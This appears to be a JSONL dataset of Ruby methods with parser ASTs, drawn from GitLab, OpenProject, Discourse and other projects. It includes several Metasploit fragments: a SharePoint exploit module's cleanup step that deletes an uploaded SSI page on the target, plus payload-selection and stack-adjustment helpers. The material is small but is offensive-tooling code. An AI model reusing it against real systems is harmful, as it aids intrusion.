{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/authn/tokens/oauth_application_secret.rb","start_line":29,"raw_source":"def revoke!(current_user)\n        raise ::Authn::AgnosticTokenIdentifier::NotFoundError, 'Not Found' if revocable.blank?\n\n        Authz::Applications::ResetSecretService.new(\n          application: revocable,\n          current_user: current_user\n        ).execute\n      end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"revoke!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revocable\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Authn\"]},\"AgnosticTokenIdentifier\"]},\"NotFoundError\"]},{\"type\":\"str\",\"children\":[\"Not Found\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Authz\"]},\"Applications\"]},\"ResetSecretService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"application\"]},{\"type\":\"send\",\"children\":[null,\"revocable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]},\"execute\"]}]}]}","id":"5709662b-253b-4cac-a5a4-1e7366e59c87"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/models/cost_query.rb","start_line":201,"raw_source":"def column(name, options = {})\n    group_by name, options.merge(type: :column)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"column\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"group_by\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"column\"]}]}]}]}]}]}","id":"9668621e-75a3-4cc0-afc0-06107abd5d35"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/sharepoint_ssi_viewstate.rb","start_line":238,"raw_source":"def delete_ssi_page\n    print_status(\"Deleting #{ssi_path}\")\n\n    res = send_request_cgi(\n      'method' => 'DELETE',\n      'uri' => ssi_path,\n      'cookie' => cookie,\n      'partial' => true\n    )\n\n    unless res\n      print_error(\"Target did not respond to #{__method__}\")\n      return\n    end\n\n    unless res.code == 204\n      print_warning('Failed to delete page')\n      return\n    end\n\n    print_good('Successfully deleted page')\n  end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_ssi_page\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssi_path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"DELETE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"ssi_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"send\",\"children\":[null,\"cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"partial\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Target did not respond to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__method__\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[204]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Failed to delete page\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Successfully deleted page\"]}]}]}]}","id":"74b61c53-9c06-4cc3-89d5-f7b35d957021"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/inherit_deprecated_cop_class.rb","start_line":25,"raw_source":"def on_class(node)\n          return unless (parent_class = node.parent_class)\n          return unless parent_class.children.last == :Cop\n\n          add_offense(parent_class)\n        end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent_class\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent_class\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_class\"]},\"children\"]},\"last\"]},\"==\",{\"type\":\"sym\",\"children\":[\"Cop\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"parent_class\"]}]}]}]}","id":"c0d65f32-36a6-4203-b2c5-c6a57737c499"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/request_review_service.rb","start_line":5,"raw_source":"def execute(merge_request, user)\n      return error(\"Invalid permissions\") unless can?(current_user, :update_merge_request, merge_request)\n\n      with_valid_reviewer(merge_request, user) do |reviewer|\n        has_unapproved = remove_approval(merge_request, user).present?\n\n        break error(\"Failed to update reviewer\") unless reviewer.update(state: :unreviewed)\n\n        notify_reviewer(merge_request, user)\n        trigger_merge_request_merge_status_updated(merge_request)\n        trigger_merge_request_reviewers_updated(merge_request)\n        trigger_merge_request_approval_state_updated(merge_request)\n        trigger_user_merge_request_updated(merge_request)\n        create_system_note(merge_request, user, has_unapproved)\n\n        user.invalidate_merge_request_cache_counts\n        current_user.invalidate_merge_request_cache_counts\n        request_duo_code_review(merge_request) if user == duo_code_review_bot\n        execute_flow_triggers(merge_request, [user], :assign_reviewer)\n\n        success\n      end\n    end","complexity_score":32.3,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"update_merge_request\"]},{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"str\",\"children\":[\"Invalid permissions\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_valid_reviewer\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reviewer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"has_unapproved\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_approval\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"present?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reviewer\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"sym\",\"children\":[\"unreviewed\"]}]}]}]},null,{\"type\":\"break\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"str\",\"children\":[\"Failed to update reviewer\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"notify_reviewer\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"trigger_merge_request_merge_status_updated\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[null,\"trigger_merge_request_reviewers_updated\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[null,\"trigger_merge_request_approval_state_updated\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[null,\"trigger_user_merge_request_updated\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[null,\"create_system_note\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"has_unapproved\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"invalidate_merge_request_cache_counts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"invalidate_merge_request_cache_counts\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"duo_code_review_bot\"]}]},{\"type\":\"send\",\"children\":[null,\"request_duo_code_review\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"execute_flow_triggers\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"sym\",\"children\":[\"assign_reviewer\"]}]},{\"type\":\"send\",\"children\":[null,\"success\"]}]}]}]}]}","id":"ab69e1c5-29ce-419a-ab49-faed5a30228f"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/email/sender.rb","start_line":497,"raw_source":"def skip(reason_type, custom_reason: nil)\n      attributes = {\n        email_type: @email_type,\n        to_address: to_address,\n        user_id: @user&.id,\n        reason_type: reason_type,\n      }\n\n      attributes[:custom_reason] = custom_reason if custom_reason\n      SkippedEmailLog.create!(attributes)\n    end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"skip\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reason_type\"]},{\"type\":\"kwoptarg\",\"children\":[\"custom_reason\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email_type\"]},{\"type\":\"ivar\",\"children\":[\"@email_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_address\"]},{\"type\":\"send\",\"children\":[null,\"to_address\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason_type\"]},{\"type\":\"lvar\",\"children\":[\"reason_type\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_reason\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"custom_reason\"]},{\"type\":\"lvar\",\"children\":[\"custom_reason\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SkippedEmailLog\"]},\"create!\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}","id":"3f411ad9-1ada-480f-abd5-78135242f711"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/models/ai_persona.rb","start_line":338,"raw_source":"def regenerate_rag_fragments\n    if rag_chunk_tokens_changed? || rag_chunk_overlap_tokens_changed?\n      RagDocumentFragment.where(target: self).delete_all\n    end\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"regenerate_rag_fragments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rag_chunk_tokens_changed?\"]},{\"type\":\"send\",\"children\":[null,\"rag_chunk_overlap_tokens_changed?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RagDocumentFragment\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"self\",\"children\":[]}]}]}]},\"delete_all\"]},null]}]}","id":"2e4c2115-1795-4ccc-9139-f12c84045f6f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/concerns/member_helper.rb","start_line":86,"raw_source":"def enterprise_allow_new_users?\n    !OpenProject::Enterprise.user_limit_reached? || !OpenProject::Enterprise.fail_fast?\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"enterprise_allow_new_users?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Enterprise\"]},\"user_limit_reached?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Enterprise\"]},\"fail_fast?\"]},\"!\"]}]}]}","id":"df894271-04e2-46b0-af0a-cb273d04e45d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/boards_responses.rb","start_line":42,"raw_source":"def board_lists\n          board.destroyable_lists\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"board_lists\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"board\"]},\"destroyable_lists\"]}]}","id":"f6574bd7-b668-4a2b-9c55-7c54f558b052"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/merge_requests_finder.rb","start_line":81,"raw_source":"def filter_items(_items)\n    items = by_commit(super)\n    items = by_source_branch(items)\n    items = by_draft(items)\n    items = by_target_branch(items)\n    items = by_merge_user(items)\n    items = by_merged_at(items)\n    items = by_approvals(items)\n    items = by_deployments(items)\n    items = by_reviewer(items)\n    items = by_review_state(items)\n    items = by_source_project_id(items)\n    items = by_resource_event_state(items)\n    items = by_assignee_or_reviewer(items)\n    items = by_blob_path(items)\n    items = by_no_review_requested_or_only_user(items)\n    items = by_review_states_or_no_reviewer(items)\n    by_valid_or_no_reviewers(items)\n  end","complexity_score":33.0,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_items\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_commit\",{\"type\":\"zsuper\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_source_branch\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_draft\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_target_branch\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_merge_user\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_merged_at\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_approvals\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_deployments\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_reviewer\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_review_state\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_source_project_id\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_resource_event_state\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_assignee_or_reviewer\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_blob_path\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_no_review_requested_or_only_user\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_review_states_or_no_reviewer\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"send\",\"children\":[null,\"by_valid_or_no_reviewers\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]}]}","id":"99d52433-fd69-438b-9369-535d36508da1"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/shared/cuprite_helpers.rb","start_line":66,"raw_source":"def clear_input_field_contents(input_element)\n  if input_element.is_a? String\n    input_element = find_field(input_element)\n  end\n\n  return unless input_element.value.length.positive?\n\n  # Move to the end of the input field and then backspace to clear the field.\n  rights = Array.new(input_element.value.length, :right)\n  backspaces = Array.new(input_element.value.length, :backspace)\n  input_element.native.node.type(*rights)\n  input_element.native.node.type(*backspaces)\nend","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_input_field_contents\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input_element\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_element\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"lvasgn\",\"children\":[\"input_element\",{\"type\":\"send\",\"children\":[null,\"find_field\",{\"type\":\"lvar\",\"children\":[\"input_element\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_element\"]},\"value\"]},\"length\"]},\"positive?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"rights\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_element\"]},\"value\"]},\"length\"]},{\"type\":\"sym\",\"children\":[\"right\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"backspaces\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_element\"]},\"value\"]},\"length\"]},{\"type\":\"sym\",\"children\":[\"backspace\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_element\"]},\"native\"]},\"node\"]},\"type\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rights\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_element\"]},\"native\"]},\"node\"]},\"type\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backspaces\"]}]}]}]}]}","id":"5264cc7a-7386-4273-9cec-50c16918a033"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/module_option_tab_completion.rb","start_line":260,"raw_source":"def option_values_payloads(mod)\n          if @cache_payloads && mod == @previous_module && mod.target == @previous_target\n            return @cache_payloads\n          end\n\n          @previous_module = mod\n          @previous_target = mod.target\n          @cache_payloads = mod.compatible_payloads.map do |refname, _payload|\n            refname\n          end\n          @cache_payloads\n        end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"option_values_payloads\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache_payloads\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"==\",{\"type\":\"ivar\",\"children\":[\"@previous_module\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"target\"]},\"==\",{\"type\":\"ivar\",\"children\":[\"@previous_target\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache_payloads\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@previous_module\",{\"type\":\"lvar\",\"children\":[\"mod\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@previous_target\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"target\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@cache_payloads\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"compatible_payloads\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"refname\"]},{\"type\":\"arg\",\"children\":[\"_payload\"]}]},{\"type\":\"lvar\",\"children\":[\"refname\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@cache_payloads\"]}]}]}","id":"955cb54c-10b1-485e-b8a5-0a1516521016"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/subforem_reassignment_service.rb","start_line":128,"raw_source":"def send_subforem_change_notification(old_subforem_id, new_subforem_id)\n    Notifications::SubforemChangeNotificationWorker.perform_async(\n      article.id,\n      old_subforem_id,\n      new_subforem_id,\n    )\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"send_subforem_change_notification\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_subforem_id\"]},{\"type\":\"arg\",\"children\":[\"new_subforem_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notifications\"]},\"SubforemChangeNotificationWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"old_subforem_id\"]},{\"type\":\"lvar\",\"children\":[\"new_subforem_id\"]}]}]}","id":"d152b180-1d43-44e7-91db-eb43d518084d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/purging.rb","start_line":29,"raw_source":"def self.purge_hourly_timer(ts = nil)\n    ts ||= purge_date(:keep_hourly_performances)\n    purge_timer(ts, \"hourly\")\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"purge_hourly_timer\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"ts\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ts\"]},{\"type\":\"send\",\"children\":[null,\"purge_date\",{\"type\":\"sym\",\"children\":[\"keep_hourly_performances\"]}]}]},{\"type\":\"send\",\"children\":[null,\"purge_timer\",{\"type\":\"lvar\",\"children\":[\"ts\"]},{\"type\":\"str\",\"children\":[\"hourly\"]}]}]}]}","id":"e376c5f4-b3c8-461c-a502-79041d4d9b0d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/attribute_help_texts_controller.rb","start_line":47,"raw_source":"def show_dialog\n    @attribute_help_text = AttributeHelpText.visible(current_user).find(params[:id])\n    respond_with_dialog(\n      AttributeHelpTexts::ShowDialogComponent.new(attribute_help_text: @attribute_help_text)\n    )\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"show_dialog\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@attribute_help_text\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AttributeHelpText\"]},\"visible\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"respond_with_dialog\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AttributeHelpTexts\"]},\"ShowDialogComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attribute_help_text\"]},{\"type\":\"ivar\",\"children\":[\"@attribute_help_text\"]}]}]}]}]}]}]}","id":"7142081a-fa40-4c69-9800-6fd93bdf0991"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit.rb","start_line":774,"raw_source":"def stack_adjustment\n    if target && target.payload_stack_adjustment\n      adj = target.payload_stack_adjustment\n    else\n      adj = payload_info['StackAdjustment']\n    end\n\n    return '' unless adj\n\n    # Get the architecture for the current target or use the one specific to\n    # this exploit\n    arch = (target && target.arch) ? target.arch : self.arch\n\n    # Default to x86 if we can't find a list of architectures\n    if arch && !arch.empty?\n      arch = [arch].flatten.join(', ')\n    else\n      arch = 'x86'\n    end\n\n    Rex::Arch::adjust_stack_pointer(arch, adj) || ''\n  end","complexity_score":34.6,"ast_json":"{\"type\":\"def\",\"children\":[\"stack_adjustment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"payload_stack_adjustment\"]}]},{\"type\":\"lvasgn\",\"children\":[\"adj\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"payload_stack_adjustment\"]}]},{\"type\":\"lvasgn\",\"children\":[\"adj\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"StackAdjustment\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adj\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"arch\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"arch\"]}]}]},{\"